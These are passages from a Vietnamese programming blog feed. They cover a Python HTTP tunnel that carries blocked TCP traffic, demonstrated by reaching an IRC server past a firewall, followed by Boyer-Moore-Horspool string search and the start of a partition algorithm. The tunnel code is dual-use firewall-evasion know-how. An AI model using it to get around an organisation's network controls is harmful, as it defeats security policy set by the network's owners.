python tunneld.py -p <span class="o">[</span>server_listen_port<span class="o">]</span>
</pre></div>
<p>Một ứng dụng muốn gửi yêu cầu đến máy nào đó (target_host), nó cần gửi yêu cầu đó thông qua cổng mà tunnel.py được khởi tạo với (client_listen_port).</p>
</div>
<div class="section" id="trien-khai">
<h2>Triển khai</h2>
<p>Bạn có thể tìm thấy mã chương trình tại <a class="reference external" href="https://github.com/khuevu/http-tunnel">https://github.com/khuevu/http-tunnel</a>.</p>
<div class="section" id="tunnel-py">
<h3>Tunnel.py</h3>
<p>Thành phần này nghe ở một cổng nhất định. Nó có 2 tiểu trình (thread) riêng biệt để nhận và trả lời yêu cầu:</p>
<div class="highlight"><pre><span></span><span class="o">...</span>
<span class="n">BUFFER</span> <span class="o">=</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">50</span>
<span class="c1">#set global timeout</span>
<span class="n">socket</span><span class="o">.</span><span class="n">setdefaulttimeout</span><span class="p">(</span><span class="mi">30</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">SendThread</span><span class="p">(</span><span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">):</span>
<span class="sd">"""</span>
<span class="sd"> Thread to send data to remote tunneld</span>
<span class="sd"> """</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">while</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">stopped</span><span class="p">():</span>
<span class="c1"># receive data and send to through tunnel</span>
<span class="n">data</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">socket</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="n">BUFFER</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="o">...</span>
<span class="k">class</span> <span class="nc">ReceiveThread</span><span class="p">(</span><span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">):</span>
<span class="sd">"""</span>
<span class="sd"> Thread to receive data from remote tunneld</span>
<span class="sd"> """</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">while</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">stopped</span><span class="p">():</span>
<span class="n">data</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">conn</span><span class="o">.</span><span class="n">receive</span><span class="p">()</span>
<span class="bp">self</span><span class="o">.</span><span class="n">socket</span><span class="o">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="o">...</span>
</pre></div>
<p>Hằng số <tt class="docutils literal">BUFFER</tt> là lượng dữ liệu theo byte mà chường trình sẽ nhận từ ứng dụng trước khi gửi qua đường hầm. Có thể có nhiều ứng dụng kết nối với chương trình <tt class="docutils literal">tunnel.py</tt>. Vì thế, ta cần tạo kết nối riêng cho mỗi ứng dụng. Dưới đây là đoạn mã của lớp <tt class="docutils literal">Connection</tt>:</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">Connection</span><span class="p">():</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">connection_id</span><span class="p">,</span> <span class="n">remote_addr</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">id</span> <span class="o">=</span> <span class="n">connection_id</span>
<span class="bp">self</span><span class="o">.</span><span class="n">http_conn</span> <span class="o">=</span> <span class="n">httplib</span><span class="o">.</span><span class="n">HTTPConnection</span><span class="p">(</span><span class="n">remote_addr</span><span class="p">[</span><span class="s1">'host'</span><span class="p">],</span> <span class="n">remote_addr</span><span class="p">[</span><span class="s1">'port'</span><span class="p">])</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nf">create</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">target_addr</span><span class="p">):</span>
<span class="n">params</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">urlencode</span><span class="p">({</span><span class="s2">"host"</span><span class="p">:</span> <span class="n">target_addr</span><span class="p">[</span><span class="s1">'host'</span><span class="p">],</span> <span class="s2">"port"</span><span class="p">:</span> <span class="n">target_addr</span><span class="p">[</span><span class="s1">'port'</span><span class="p">]})</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"Content-Type"</span><span class="p">:</span> <span class="s2">"application/x-www-form-urlencoded"</span><span class="p">,</span> <span class="s2">"Accept"</span><span class="p">:</span> <span class="s2">"text/plain"</span><span class="p">}</span>
<span class="bp">self</span><span class="o">.</span><span class="n">http_conn</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"POST"</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">_url</span><span class="p">(</span><span class="s2">"/"</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">id</span><span class="p">),</span> <span class="n">params</span><span class="p">,</span> <span class="n">headers</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">http_conn</span><span class="o">.</span><span class="n">getresponse</span><span class="p">()</span>
<span class="n">response</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">if</span> <span class="n">response</span><span class="o">.</span><span class="n">status</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
<span class="nb">print</span> <span class="s1">'Successfully create connection'</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span> <span class="s1">'Fail to establish connection: status </span><span class="si">%s</span><span class="s1"> because </span><span class="si">%s</span><span class="s1">'</span> <span class="o">%</span> <span class="p">(</span>
<span class="n">response</span><span class="o">.</span><span class="n">status</span><span class="p">,</span> <span class="n">response</span><span class="o">.</span><span class="n">reason</span><span class="p">)</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">def</span> <span class="nf">send</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="n">params</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">urlencode</span><span class="p">({</span><span class="s2">"data"</span><span class="p">:</span> <span class="n">data</span><span class="p">})</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"Content-Type"</span><span class="p">:</span> <span class="s2">"application/x-www-form-urlencoded"</span><span class="p">,</span> <span class="s2">"Accept"</span><span class="p">:</span> <span class="s2">"text/plain"</span><span class="p">}</span>
<span class="k">try</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">http_conn</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"PUT"</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">_url</span><span class="p">(</span><span class="s2">"/"</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">id</span><span class="p">),</span> <span class="n">params</span><span class="p">,</span> <span class="n">headers</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">http_conn</span><span class="o">.</span><span class="n">getresponse</span><span class="p">()</span>
<span class="n">response</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="nb">print</span> <span class="n">response</span><span class="o">.</span><span class="n">status</span>
<span class="k">except</span> <span class="p">(</span><span class="n">httplib</span><span class="o">.</span><span class="n">HTTPResponse</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">error</span><span class="p">)</span> <span class="k">as</span> <span class="n">ex</span><span class="p">:</span>
<span class="nb">print</span> <span class="s2">"Error Sending Data: </span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="n">ex</span>
<span class="k">def</span> <span class="nf">receive</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">http_conn</span><span class="o">.</span><span class="n">request</span><span class="p">(</span><span class="s2">"GET"</span><span class="p">,</span> <span class="s2">"/"</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">id</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">http_conn</span><span class="o">.</span><span class="n">getresponse</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">if</span> <span class="n">response</span><span class="o">.</span><span class="n">status</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
<span class="k">return</span> <span class="n">data</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span> <span class="s2">"GET HTTP Status: </span><span class="si">%d</span><span class="s2">"</span> <span class="o">%</span> <span class="n">response</span><span class="o">.</span><span class="n">status</span>
<span class="k">return</span> <span class="s2">""</span>
<span class="k">except</span> <span class="p">(</span><span class="n">httplib</span><span class="o">.</span><span class="n">HTTPResponse</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">error</span><span class="p">)</span> <span class="k">as</span> <span class="n">ex</span><span class="p">:</span>
<span class="nb">print</span> <span class="s2">"Error Receiving Data: </span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="n">ex</span>
<span class="k">return</span> <span class="s2">""</span>
<span class="o">...</span>
</pre></div>
<p>Như bạn thấy ở đây, <tt class="docutils literal">Connection</tt> có những hàm để thiết lập đường hầm, gửi và nhận dữ liệu. Sự tưong tác này được xây dựng trên giao thức HTTP. Cụ thể là:</p>
<ul class="simple">
<li>POST request: yêu cầu thiết lập kết nối.</li>
<li>PUT request: gửi dữ liệu qua kết nối.</li>
<li>GET request: nhận kết nối.</li>
<li>DELETE request: kết thúc kết nối.</li>
</ul>
<p>Sẽ rõ ràng hơn khi ta nhìn vào mã của <tt class="docutils literal">tunneld.py</tt>, thành phần nhận những yêu cầu HTTP này:</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">ProxyRequestHandler</span><span class="p">(</span><span class="n">BaseHTTPRequestHandler</span><span class="p">):</span>
<span class="o">...</span>
<span class="n">BUFFER</span> <span class="o">=</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">50</span>
<span class="k">def</span> <span class="nf">_get_connection_id</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'/'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nf">do_GET</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="sd">"""GET: Read data from TargetAddress and return to client through http response"""</span>
<span class="n">s</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_get_socket</span><span class="p">()</span>
<span class="k">if</span> <span class="n">s</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">BUFFER</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">data</span>
<span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">end_headers</span><span class="p">()</span>
<span class="k">if</span> <span class="n">data</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">wfile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nf">do_POST</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="sd">"""POST: Create TCP Connection to the TargetAddress"""</span>
<span class="nb">id</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_get_connection_id</span><span class="p">()</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">headers</span><span class="o">.</span><span class="n">getheader</span><span class="p">(</span><span class="s1">'content-length'</span><span class="p">))</span>
<span class="n">req_data</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">rfile</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">length</span><span class="p">)</span>
<span class="n">params</span> <span class="o">=</span> <span class="n">cgi</span><span class="o">.</span><span class="n">parse_qs</span><span class="p">(</span><span class="n">req_data</span><span class="p">,</span> <span class="n">keep_blank_values</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="n">target_host</span> <span class="o">=</span> <span class="n">params</span><span class="p">[</span><span class="s1">'host'</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="n">target_port</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="s1">'port'</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span>
<span class="nb">print</span> <span class="s1">'Connecting to target address: </span><span class="si">%s</span><span class="s1"> </span><span class="si">% s</span><span class="s1">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">target_host</span><span class="p">,</span> <span class="n">target_port</span><span class="p">)</span>
<span class="c1">#open socket connection to remote server</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="n">target_host</span><span class="p">,</span> <span class="n">target_port</span><span class="p">))</span>
<span class="n">s</span><span class="o">.</span><span class="n">settimeout</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span>
<span class="nb">print</span> <span class="s1">'Successfully connected'</span>
<span class="c1">#save socket reference</span>
<span class="bp">self</span><span class="o">.</span><span class="n">sockets</span><span class="p">[</span><span class="nb">id</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span>
<span class="k">try</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">end_headers</span><span class="p">()</span>
<span class="k">except</span> <span class="n">socket</span><span class="o">.</span><span class="n">error</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="nb">print</span> <span class="n">e</span>
<span class="k">def</span> <span class="nf">do_PUT</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="sd">"""Read data from HTTP Request and send to TargetAddress"""</span>
<span class="nb">id</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_get_connection_id</span><span class="p">()</span>
<span class="n">s</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">sockets</span><span class="p">[</span><span class="nb">id</span><span class="p">]</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">headers</span><span class="o">.</span><span class="n">getheader</span><span class="p">(</span><span class="s1">'content-length'</span><span class="p">))</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">cgi</span><span class="o">.</span><span class="n">parse_qs</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">rfile</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">length</span><span class="p">),</span> <span class="n">keep_blank_values</span><span class="o">=</span><span class="mi">1</span><span class="p">)[</span><span class="s1">'data'</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">s</span><span class="o">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span>
<span class="o">...</span>
<span class="k">def</span> <span class="nf">do_DELETE</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">_close_socket</span><span class="p">()</span>
<span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">end_headers</span><span class="p">()</span>
</pre></div>
<p>Ở đây, <tt class="docutils literal">ProxyRequestHandler</tt> chính là một máy chủ HTTP, nhận và xử lý những yêu cầu cơ bản của HTTP.</p>
<ul class="simple">
<li><tt class="docutils literal">do_POST</tt> hàm này xử lý những yêu cầu POST. Nó sẽ lấy thông tin về máy đối tượng (tên miền, cổng) và tạo kết nối TCP đến máy đó. Nó trả về trạng thái 200 nếu kết nối này thành công.</li>
<li><tt class="docutils literal">do_GET</tt> hàm này lấy dữ liệu từ kết nối đã được thiết lập với máy đối tương trong <tt class="docutils literal">do_POST</tt>. Sau đó nó trả dữ liệu này trong trả lời HTTP của yêu cầu GET.</li>
<li><tt class="docutils literal">do_PUT</tt> hàm này lấy nhận yêu cầu PUT, đọc dữ liệu từ tải của yêu cầu đó và gửi qua kết nối nói trên.</li>
<li><tt class="docutils literal">do_DELETE</tt> hàm này đóng kết nối với máy đối tượng.</li>
</ul>
</div>
</div>
<div class="section" id="thu-nghiem-chuong-trinh">
<h2>Thử nghiệm chương trình</h2>
<p>Chúng ta sẽ thử chương trình này bằng việc kết nối với một IRC server thông qua chương trình. Trước hết, thiết lập đường hầm cần thiết. Tại một máy ngoại mạng, không bị chặn bởi tường lửa, chạy:</p>
<pre class="literal-block">
python tunneld.py -p 80
</pre>
<p>Tại máy nội mạng chạy:</p>
<pre class="literal-block">
python tunnel.py -p 8889 -h mayngoaimang:80 irc.freenode.net:6667
</pre>
<p>Như vậy ta đã thiết lập một đương hầm ở cổng 8889 qua máy ngoại mạng đến IRC server ở cổng 6667. Yêu cầu đến cổng 6667 thường bị chặn bởi tường lửa. Để thử nghiệm, ta kết nối đến cổng 8889 và gửi yêu cầu theo giao thức IRC:</p>
<pre class="literal-block">
nc localhost 8889
NICK abcxyz
USER abcxyz abcxyz irc.freenode.net :abcxyz
</pre>
<p>(nc - netcat - là một công cụ giúp bạn gửi giữ liệu trên TCP <a class="reference external" href="http://www.irongeek.com/i.php?page=backtrack-3-man/netcat">http://www.irongeek.com/i.php?page=backtrack-3-man/netcat</a>.)</p>
<p>Ta nhận được trả lời thông báo kết nối thành công:</p>
<pre class="literal-block">
:calvino.freenode.net NOTICE * :*** Looking up your hostname...
:calvino.freenode.net NOTICE * :*** Checking Ident
:calvino.freenode.net NOTICE * :*** Found your hostname
:calvino.freenode.net NOTICE * :*** No Ident response
NICK abcxyz
USER abcxyz abcxyz irc.freenode.net :abcxyz
:calvino.freenode.net 001 abcxyz :Welcome to the freenode Internet Relay Chat Network abcxyz
:calvino.freenode.net 002 abcxyz :Your host is calvino.freenode.net[ ... /6667], running version ircd-seven-1.1.3
:calvino.freenode.net 003 abcxyz :This server was created Sun Dec 4 2011 at 14:42:47 CET
:calvino.freenode.net 004 abcxyz calvino.freenode.net ircd-seven-1.1.3 DOQRSZaghilopswzCFILMPQbcefgijklmnopqrstvz bkloveqjfI
:calvino.freenode.net 005 abcxyz CHANTYPES=# EXCEPTS INVEX CHANMODES=eIbq,k,flj,CFLMPQcgimnprstz CHANLIMIT=#:120 PREFIX=(ov)@+ MAXLIST=bqeI:100 MODES=4 NETWORK=freenode KNOCK STATUSMSG=@+ CALLERID=g :are supported by this server
:calvino.freenode.net 005 abcxyz CASEMAPPING=rfc1459 CHARSET=ascii NICKLEN=16 CHANNELLEN=50 TOPICLEN=390 ETRACE CPRIVMSG CNOTICE DEAF=D MONITOR=100 FNC TARGMAX=NAMES:1,LIST:1,KICK:1,WHOIS:1,PRIVMSG:4,NOTICE:4,ACCEPT:,MONITOR: :are supported by this server
:calvino.freenode.net 005 abcxyz EXTBAN=$,arx WHOX CLIENTVER=3.0 SAFELIST ELIST=CTU :are supported by this server
:calvino.freenode.net 251 abcxyz :There are 232 users and 70582 invisible on 31 servers
:calvino.freenode.net 252 abcxyz 45 :IRC Operators online
:calvino.freenode.net 253 abcxyz 10 :unknown connection(s)
:calvino.freenode.net 254 abcxyz 34513 :channels formed
:calvino.freenode.net 255 abcxyz :I have 6757 clients and 1 servers
:calvino.freenode.net 265 abcxyz 6757 10768 :Current local users 6757, max 10768
:calvino.freenode.net 266 abcxyz 70814 83501 :Current global users 70814, max 83501
:calvino.freenode.net 250 abcxyz :Highest connection count: 10769 (10768 clients) (2194912 connections received)
...
</pre>
</div>
<div class="section" id="ket">
<h2>Kết</h2>
<p>Như vậy chúng ta đã đi qua một chương trình xử lý dữ liệu mạng với Python. Chương trình chủ yếu làm việc với dữ liệu thông qua socket API. Một điều quan trọng khác mà bài viết này đề cập đến là sự tách biệt giữa giao thức ứng dụng và dữ liệu gửi trên giao thức đó. Chúng ta có thể vận chuyển dữ liệu mà thông thường đuợc gửi bằng giao thức này qua một giao thức khác.</p>
<p>Chú ý: Chương trình chỉ có mục đích thí nghiệm và không phù hợp với chạy thực dụng.</p>
</div>
Thuật toán đẹp: Tìm chuỗi Boyer-Moore-Horspool2014-01-09T07:35:00+07:002014-01-09T07:35:00+07:00Nguyễn Thành Namtag:None,2014-01-09:2014/01/thuat-toan-dep-tim-chuoi-boyer-moore-horspool.html<div class="section" id="muc-dich">
<h2>Mục đích</h2>
<p>Tìm chính xác (exact match) chuỗi con (substring) trong một chuỗi dài hơn.</p>
</div>
<div class="section" id="y-tuong-chinh">
<h2>Ý tưởng chính</h2>
<p>Gọi chuỗi cần tìm là <strong>P</strong> (pattern), và chuỗi dài là <strong>T</strong> (text).</p>
<p>So sánh ngược P trong T, nghĩa là ta sẽ so sánh ký tự cuối của P trước, sau …</p></div><div class="section" id="muc-dich">
<h2>Mục đích</h2>
<p>Tìm chính xác (exact match) chuỗi con (substring) trong một chuỗi dài hơn.</p>
</div>
<div class="section" id="y-tuong-chinh">
<h2>Ý tưởng chính</h2>
<p>Gọi chuỗi cần tìm là <strong>P</strong> (pattern), và chuỗi dài là <strong>T</strong> (text).</p>
<p>So sánh ngược P trong T, nghĩa là ta sẽ so sánh ký tự cuối của P trước, sau đó so sánh ký tự kế cuối, và lần lượt như vậy đến ký tự đầu tiên trong P. Gọi vị trí trong T để bắt đầu so sánh hai chuỗi là <strong>i</strong>. Việc so sánh sẽ so sánh lần lượt <strong>T[i]</strong> với ký tự cuối của P, rồi <strong>T[i-1]</strong> với ký tự kế cuối của P, v.v...</p>
<p>Nếu việc so sánh ngược vượt qua được ký tự đầu tiên trong P, ta đã tìm được P trong T.</p>
<p>Nếu việc so sánh ngược bị thất bại, ta sẽ <strong>căn P cho khớp với T[i]</strong> và thử lại việc so sánh ngược. Điều này tương đương với việc dịch chuyển <strong>i</strong> đến vị trí xa hơn trong T. Đây là ý tưởng chủ chốt của thuật toán BMH.</p>
<ul class="simple">
<li>Nếu <strong>T[i]</strong> không có trong P, thì ta có thể dịch chuyển <strong>i</strong> đến vị trí <strong>i + len(P)</strong>.</li>
<li>Nếu vị trí cuối cùng của <strong>T[i]</strong> trong P là <strong>x</strong> thì ta dịch chuyển <strong>i</strong> đến vị trí <strong>i + len(P) - x - 1</strong>.</li>
</ul>
<div class="highlight"><pre><span></span>Trạng thái bắt đầu
i
|
v
+-+-+-+-+-+-+-+-+-+-+-+-+
| | | | |d|b|a| | | | | |
+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+
|a|a|c|b|a|
+-+-+-+-+-+
------------------------------------------
So sánh tiếp tục
i
|
v
+-+-+-+-+-+-+-+-+-+-+-+-+
| | | | |d|b|a| | | | | |
+-+-+-+-+-+-+-+-+-+-+-+-+
=
+-+-+-+-+-+
|a|a|c|b|a|
+-+-+-+-+-+
------------------------------------------
So sánh tiếp tục
i
|
v
+-+-+-+-+-+-+-+-+-+-+-+-+
| | | | |d|b|a| | | | | |
+-+-+-+-+-+-+-+-+-+-+-+-+
= =
+-+-+-+-+-+
|a|a|c|b|a|
+-+-+-+-+-+
------------------------------------------
So sánh sai
i
|
v
+-+-+-+-+-+-+-+-+-+-+-+-+
| | | | |d|b|a| | | | | |
+-+-+-+-+-+-+-+-+-+-+-+-+
! = =
+-+-+-+-+-+
|a|a|c|b|a|
+-+-+-+-+-+
------------------------------------------
Căn P theo T[i]...
i
|
v
+-+-+-+-+-+-+-+-+-+-+-+-+
| | | | |d|b|a| | | | | |
+-+-+-+-+-+-+-+-+-+-+-+-+
|
+-+-+-+-+-+
|a|a|c|b|a|
+-+-+-+-+-+
------------------------------------------
... cũng có nghĩa là dịch chuyển i
i
|
v
+-+-+-+-+-+-+-+-+-+-+-+-+
| | | | |d|b|a| | | | | |
+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+
|a|a|c|b|a|
+-+-+-+-+-+
</pre></div>
<p>Để cài đặt hai bước trên, người ta thường dùng một mảng chứa vị trí cuối cùng của các ký tự trong P trừ ký tự cuối cùng (P[ : -1]).</p>
</div>
<div class="section" id="vi-du">
<h2>Ví dụ</h2>
<p>Giả sử chúng ta muốn tìm chuỗi <strong>needle</strong> trong chuỗi <strong>find the needle in the haystack</strong>.</p>
<p>Trước khi bắt đầu, ta sẽ lập bảng vị trí cuối của các ký tự trong P[ : -1].</p>
<table border="1" class="docutils">
<colgroup>
<col width="11%" />
<col width="14%" />
<col width="75%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Ký tự</th>
<th class="head">Vị trí</th>
<th class="head">Diễn giải</th>
</tr>
</thead>
<tbody valign="top">
<tr><td>n</td>
<td>0</td>
<td> </td>
</tr>
<tr><td>e</td>
<td>2</td>
<td>Ta chọn vị trí của ký tự thứ hai.</td>
</tr>
<tr><td>d</td>
<td>3</td>
<td> </td>
</tr>
<tr><td>l</td>
<td>4</td>
<td> </td>
</tr>
</tbody>
</table>
<p>Sau đó ta sẽ xem xét sự thay đổi ở các bước của thuật toán. Vì độ dài của P là 6, nên i sẽ bắt đầu từ vị trí 5. Trong bảng dưới, chữ đậm là ký tự trùng nhau của T và P, chữ gạch dưới là các ký tự đang xét.</p>
<table border="1" class="docutils">
<colgroup>
<col width="2%" />
<col width="33%" />
<col width="11%" />
<col width="55%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">i</th>
<th class="head">T</th>
<th class="head">T[i]</th>
<th class="head">Diễn giải</th>
</tr>
</thead>
<tbody valign="top">
<tr><td>5</td>
<td><u>find t</u>he needle in the haystack</td>
<td>t</td>
<td>t không có trong bảng. Dịch i lên 11 (5 + 6).</td>
</tr>
<tr><td>11</td>
<td>find t<u>he ne<strong>e</strong></u>dle in the haystack</td>
<td>e</td>
<td>e có trong bảng. Dịch i lên 14 (11 + 6 - 2 - 1).</td>
</tr>
<tr><td>14</td>
<td>find the <u><strong>needle</strong></u> in the haystack</td>
<td>e</td>
<td><strong>Tìm thấy</strong>. e có trong bảng. Dịch i lên 17 (14 + 6 - 2 - 1).</td>
</tr>
<tr><td>17</td>
<td>find the nee<u>dle in</u> the haystack</td>
<td>n</td>
<td>n có trong bảng. Dịch i lên 22 (17 + 6 - 0 - 1).</td>
</tr>
<tr><td>22</td>
<td>find the needle i<u>n the </u>haystack</td>
<td>khoảng trắng</td>
<td>khoảng trắng không có trong bảng. Dịch i lên 28 (22 + 6).</td>
</tr>
<tr><td>28</td>
<td>find the needle in the <u>haysta</u>ck</td>
<td>a</td>
<td>a không có trong bảng. Dịch i lên 34 (28 + 6).
Dừng việc tìm kiếm vì đã xét hết chuỗi.</td>
</tr>
</tbody>
</table>
</div>
<div class="section" id="do-phuc-tap">
<h2>Độ phức tạp</h2>
<dl class="docutils">
<dt>Thời gian chạy</dt>
<dd>Tệ nhất là O(n*m), với n là độ dài của T và m là độ dài của P. Trung bình là O(n). Và tốt nhất là dưới tuyến tính (sublinear) vì thuật toán có thể nhảy qua nhiều ký tự. Trong ví dụ trên, ta chỉ cần 12 phép so sánh để tìm chuỗi <strong>needle</strong> (6 ký tự) trong chuỗi <strong>find the needle in the haystack</strong> (31 ký tự).</dd>
<dt>Bộ nhớ cần thiết</dt>
<dd>O(n) với n là số ký tự trong bảng chữ cái (ví dụ như 256 giá trị của một byte, hoặc nếu bảng chữ cái là Unicode thì có thể sẽ nhiều hơn 60000 giá trị) vì chúng ta cần tạo bảng vị trí các ký tự trong P.</dd>
</dl>
<p>Thuật toán BMH là thuật toán tìm chuỗi chính xác tổng quát nhất, nhanh nhất, và đơn giản nhất.</p>
</div>
Thuật toán đẹp: Partition (ngăn)2013-12-31T17:34:00+07:002013-12-31T17:34:00+07:00Nguyễn Thành Namtag:None,2013-12-31:2013/12/thuat-toan-dep-partition-ngan.html<div class="section" id="muc-dich">
<h2>Mục đích</h2>
<p>Chia một mảng ra thành hai cụm: một cụm thỏa điều kiện, và cụm còn lại.</p>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<div class="section" id="su-dung-mang-phu">
<h3>Sử dụng mảng phụ</h3>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">partition</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">pred</span><span class="p">):</span>
<span class="n">head</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">a</span> <span class="k">if</span> <span class="n">pred</span><span class="p">(</span><span class="n">x</span><span class="p">)]</span>
